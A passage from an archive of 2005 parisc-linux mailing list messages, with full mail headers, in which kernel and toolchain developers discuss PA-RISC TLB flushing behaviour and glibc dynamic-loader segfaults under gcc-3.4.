National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Thu, 28 Apr 2005 14:20:58 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <20050428202058.GG10171@colo.lackof.org>
References: <20050428190659.GD10171@colo.lackof.org>
	<200504281942.j3SJgQvL005780@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623770 14401 80.91.229.3 (22 Nov 2014 02:36:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 20:18:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 28 Apr 2005 22:18:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5BDE7D68B;
	Thu, 28 Apr 2005 14:18:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03560-08; Thu, 28 Apr 2005 14:18:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E42027D68E;
	Thu, 28 Apr 2005 14:18:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E1F97D667
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 14:18:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03637-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 14:18:25 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 039597D64E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 14:18:25 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DD194298067;
	Thu, 28 Apr 2005 14:20:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14650-04; Thu, 28 Apr 2005 14:20:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 467B9298062; Thu, 28 Apr 2005 14:20:58 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200504281942.j3SJgQvL005780@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fSADYu15eSE57L6WZHQhaXN2IGRvb8CT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22669

On Thu, Apr 28, 2005 at 03:42:26PM -0400, John David Anglin wrote:
> > Besides the basic issue, this also implies flush_tlb_all() is
> > called twice in the same code path. That might be ok if 
> > flush_tlb_all() took parameters, but it does not.
> 
> Twice?

Yes. Once from
	exit_mmap() -> flush_tlb_mm() -> flush_tlb_all()
and again
	unmap_vmas() -> unmap_page_range() -> tlb_end_vma() ->
		 flush_tlb_range() -> flush_tlb_all()

But flush_tlb_range() only calls flush_tlb_all() IFF:
...
	if (npages >= 512)  /* XXX arbitrary, should be tuned */
		flush_tlb_all();
	else {
...

That may be why I'm not seeing it more often.

jejb, any insight here?

> > Any clue what the basic issue is here?
> 
> flush_tlb_all doesn't call anything.

Eh?! I'm looking at arch/parisc/mm/init.c and it is:
...
        }
        spin_unlock(&sid_lock);
        on_each_cpu((void (*)(void *))flush_tlb_all_local, NULL, 1, 1);
        if (do_recycle) {
...

>   I'm guessing but I think this
> implies that smp_call_function is getting called because a TLB miss
> fault has occured.  It appears from the backtrace that the fault
> has occurred in the part of flush_tlb_all with the REAL_MODE_PSW
> flags set (W and Q).  Interrupts are off, so this causes the warning.

Wouldn't we see more gunk on the stack trace?

If I'm reading the PA 2.0 Arch correctly, PDTLB/PDTLBE insn can NOT cause
a TLB Miss. But I don't really know.

It also doesn't make sense for a TLB miss if we are in REAL_MODE.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 vs. 3.4
Date: Wed, 27 Apr 2005 19:35:53 -0400
Organization: wh0rd.org
Lines: 20
Approved: news@gmane.org
Message-ID: <200504271935.53614.vapier@gentoo.org>
References: <20050427170020.GA496@baldric.uwo.ca>
	<20050427171532.GC496@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623770 14407 80.91.229.3 (22 Nov 2014 02:36:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 23:36:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 28 Apr 2005 01:36:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E279D7D6A3;
	Wed, 27 Apr 2005 17:36:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26729-07; Wed, 27 Apr 2005 17:36:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63FFE7D6A5;
	Wed, 27 Apr 2005 17:36:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57CFA7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 17:36:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26818-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 17:36:17 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id D8AED7D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 17:36:17 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.43) id 1DQw4j-0001ET-Sv
	for parisc-linux@lists.parisc-linux.org; Wed, 27 Apr 2005 23:36:14 +0000
Original-Received: (qmail 20019 invoked from network); 27 Apr 2005 19:32:01 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Apr 2005 19:32:01 -0400
User-Agent: KMail/1.8
In-Reply-To: <20050427171532.GC496@baldric.uwo.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: W0cCYhcFeSE57L6WZHQhaXN2IGRvb4CU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22670

On Wednesday 27 April 2005 01:15 pm, Carlos O'Donell wrote:
> On Wed, Apr 27, 2005 at 01:00:20PM -0400, Carlos O'Donell wrote:
> > NOTE: dl_make_ftpr is actually compiled *into* the executable at this
> > point, since it's static and all the loader code is included.
>
> On second thought, I'm sure _dl_make_fptr from the dynamically loaded
> ld.so.1 is being used. So I'm not quite sure what distinguishes this
> case from any other, except that it crashes on the first call to
> _dl_make_fptr.

which basically looks like when you try to run the new ld.so it segfaults ?  
we've been testing just about every version of gcc-3.4 thus far on parisc and 
it has yet to build us a glibc w/out segfaults ;)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Thu, 28 Apr 2005 16:35:37 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200504282035.j3SKZcf1006206@hiauly1.hia.nrc.ca>
References: <20050428202058.GG10171@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623771 14408 80.91.229.3 (22 Nov 2014 02:36:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 20:35:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 28 Apr 2005 22:35:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 601F67D6BC;
	Thu, 28 Apr 2005 14:35:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04042-03; Thu, 28 Apr 2005 14:35:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E8277D6B7;
	Thu, 28 Apr 2005 14:35:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 085307D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 14:35:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03637-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 14:35:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 587D77D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 14:35:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3SKZchF006207; Thu, 28 Apr 2005 16:35:38 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3SKZcf1006206;
	Thu, 28 Apr 2005 16:35:38 -0400 (EDT)
In-Reply-To: <20050428202058.GG10171@colo.lackof.org> from "Grant Grundler" at
	Apr 28, 2005 02:20:58 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cSwDYiNseSE57L6WZHQhaXN2IGRvbwCZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22671

> > flush_tlb_all doesn't call anything.
> 
> Eh?! I'm looking at arch/parisc/mm/init.c and it is:

Oops, I was looking at flush_tlb_all_local.  It's still not obvious
how we got to the warning.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Thu, 28 Apr 2005 13:54:35 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <1114721675.5022.22.camel@mulgrave>
References: <20050428190659.GD10171@colo.lackof.org>
	<200504281942.j3SJgQvL005780@hiauly1.hia.nrc.ca>
	<20050428202058.GG10171@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623771 14410 80.91.229.3 (22 Nov 2014 02:36:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:11 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 20:55:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 28 Apr 2005 22:55:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D12497D69F;
	Thu, 28 Apr 2005 14:55:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04042-09; Thu, 28 Apr 2005 14:55:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3169F7D6A3;
	Thu, 28 Apr 2005 14:55:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6B7D7D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 14:54:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03978-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 14:54:58 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 292BB7D690
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 14:54:58 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j3SKsaA19438; Thu, 28 Apr 2005 16:54:37 -0400
In-Reply-To: <20050428202058.GG10171@colo.lackof.org>
X-Mailer: Evolution 2.0.4 (2.0.4-4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5igDYvQoeSE57L6WZHQhaXN2IGRvb0CS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22672

On Thu, 2005-04-28 at 14:20 -0600, Grant Grundler wrote:
> That may be why I'm not seeing it more often.
> 
> jejb, any insight here?

Yes, but you're not going to like it.  For this to show up twice for the
same process, we must have done a full tlb flush so often that we've
completely cycled around the spaces.

This, in turn, looks to be because we have a total screw up in our tlb
flushing implementation.  What's supposed to happen is that the 

tlb_gather_mmu()
...
tlb_finish_mmu()

is supposed simply to say "I promise to flush the tlb when I'm done, so
don't actually flush anywhere within, just add the dirty tlbs to the
list".

Unfortunately, our implementation of tlb_end_vma() meaning either flush
this vma or add it to the tlb list seems to flush every time, which is
why we do this so often.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 vs. 3.4
Date: Wed, 27 Apr 2005 22:23:15 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20050428022313.GD496@baldric.uwo.ca>
References: <20050427170020.GA496@baldric.uwo.ca>
	<20050427171532.GC496@baldric.uwo.ca>
	<200504271935.53614.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623771 14414 80.91.229.3 (22 Nov 2014 02:36:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 03:23:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 28 Apr 2005 05:23:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ECFB7D69D;
	Wed, 27 Apr 2005 21:23:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27100-08; Wed, 27 Apr 2005 21:23:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67ED37D69F;
	Wed, 27 Apr 2005 21:23:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E91857D688
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 21:23:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27447-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 21:23:26 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 6B38F7D645
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 21:23:26 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DQygN-0002hz-00; Wed, 27 Apr 2005 22:23:15 -0400
Content-Disposition: inline
In-Reply-To: <200504271935.53614.vapier@gentoo.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (81% Sync Ratio [========..])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HTICYmUBeSE57L6WZHQhaXN2IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22673

On Wed, Apr 27, 2005 at 07:35:53PM -0400, Mike Frysinger wrote:
> On Wednesday 27 April 2005 01:15 pm, Carlos O'Donell wrote:
> > On Wed, Apr 27, 2005 at 01:00:20PM -0400, Carlos O'Donell wrote:
> > > NOTE: dl_make_ftpr is actually compiled *into* the executable at this
> > > point, since it's static and all the loader code is included.
> >
> > On second thought, I'm sure _dl_make_fptr from the dynamically loaded
> > ld.so.1 is being used. So I'm not quite sure what distinguishes this
> > case from any other, except that it crashes on the first call to
> > _dl_make_fptr.
> 
> which basically looks like when you try to run the new ld.so it segfaults ?  
> we've been testing just about every version of gcc-3.4 thus far on parisc and 
> it has yet to build us a glibc w/out segfaults ;)

It builds, and runs all the testsuite, except for these two tests.
Perhaps debian has gcc-3.4 patches that gentoo is missing?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 vs. 3.4
Date: Wed, 27 Apr 2005 23:26:10 -0400
Organization: wh0rd.org
Lines: 27
Approved: news@gmane.org
Message-ID: <200504272326.10869.vapier@gentoo.org>
References: <20050427170020.GA496@baldric.uwo.ca>
	<200504271935.53614.vapier@gentoo.org>
	<20050428022313.GD496@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
